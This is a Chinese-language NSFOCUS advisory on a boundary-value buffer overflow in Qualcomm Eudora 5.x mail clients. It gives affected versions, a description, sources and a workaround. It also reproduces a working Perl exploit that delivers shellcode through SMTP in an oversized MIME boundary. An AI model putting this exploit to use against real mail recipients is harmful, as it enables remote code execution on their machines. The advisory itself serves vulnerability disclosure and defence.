首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第34期->最新漏洞
期刊号: 类型: 关键词:
Qualcomm Eudora MIME Multipart 分界缓冲区溢出漏洞

日期:2002-08-16

发布日期:2002-08-05
更新日期:2002-08-08

受影响系统:
Qualcomm Eudora 5.0-J
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows 98 SE
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows 2000
Qualcomm Eudora 5.0.2
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows 98 SE
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows 2000
Qualcomm Eudora 5.1
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows 98 SE
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows 2000
Qualcomm Eudora 5.1.1
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows 98 SE
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows 2000
描述:
----------------------------------------------------------------------
BUGTRAQ  ID: 5397
CVE(CAN) ID: CAN-2002-0833

Eudora是一款由QUALCOMM公开开发的邮件用户代理,可运行在Windows和MacOS操作系统下。

Eudora在接收到信息时没有对boundary值进行充分检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。

邮件中常用到复合类型,multipart类型表示正文是由多个部分组成,如html,附件等组成,由于复合类型由多个部分组成,因此使用一个成为boundary的隔符来分隔这多个部分。Eudora没有充分检查邮件中boundary值的边界长度,攻击者可以编辑使用超长的字符串作为boundary值的邮件提交给Eudora用户,可导致Eudora产生缓冲溢出,精心构建boundary值可导致以Eudora进程在系统上执行任意指令。

<*来源:Nobuo Miwa (n-miwa@lac.co.jp)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=102866066521350&w=2
        http://marc.theaimsgroup.com/?l=bugtraq&m=102865094809606&w=2
        http://www.lac.co.jp/security/english/snsadv_e/55_e.html
*>

测试方法:
----------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Kanatoko(anvil@jumperz.net) 提供了如下测试程序:

#!/usr/local/bin/perl

#---------------------------------------------------------------------
# Eudora Version 5.0.2-Jr2 exploit for Japanese Windows 2000 Pro (SP2)
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
#---------------------------------------------------------------------

use Socket;

$connect_host   = 'mail.jumperz.net';
$port           = 25;
$env_from       = 'anvil@jumperz.net';
$env_to         = 'target@jumperz.net';
$from           = 'anvil@jumperz.net';
$to             = 'target@jumperz.net';

$iaddr = inet_aton($connect_host) || die "Host Resolve Error.\n";
$sock_addr = pack_sockaddr_in($port,$iaddr);
socket(SOCKET,PF_INET,SOCK_STREAM,0) || die "Socket Error.\n";
connect(SOCKET,$sock_addr) || die "Connect Error\n";
select(SOCKET); $|=1; select(STDOUT);

        #egg written by UNYUN (http://www.shadowpenguin.org/)
        #57bytes
$egg  = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

$buf  = "\x90" x 121;
$buf .= $egg;
$buf .= "\xEB\xA0"; #JMP -0x60
$buf .= "A" x 2;
$buf .= "\x97\xAC\xE3\x77"; #0x77e3ac97 JMP EBX in user32.dll

$hoge = <SOCKET>;
print SOCKET "HELO hoge\x0D\x0A";
$hoge = <SOCKET>;
print SOCKET "MAIL FROM:<$env_from>\x0D\x0A";
$hoge = <SOCKET>;
print SOCKET "RCPT TO:<$env_to>\x0D\x0A";
$hoge = <SOCKET>;
print SOCKET "DATA\x0D\x0A";
$hoge = <SOCKET>;

print SOCKET << "_EOD_";
MIME-Version: 1.0\x0D
>From: $from\x0D
To: $to\x0D
Content-Type: multipart/mixed; boundary="$buf"\x0D
\x0D
.\x0D
_EOD_
$hoge = <SOCKET>;
print SOCKET "QUIT\x0D\x0A";
$hoge = <SOCKET>;

建议:
----------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 暂时不要使用Eudora,换用其他的邮件客户端。

厂商补丁:

Qualcomm
--------
目前厂商还没有提供补丁或者升级程序,但Qualcomm已经决定在下一个版本中解决这一问题。我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.eudora.com/
版权所有,未经许可,不得转载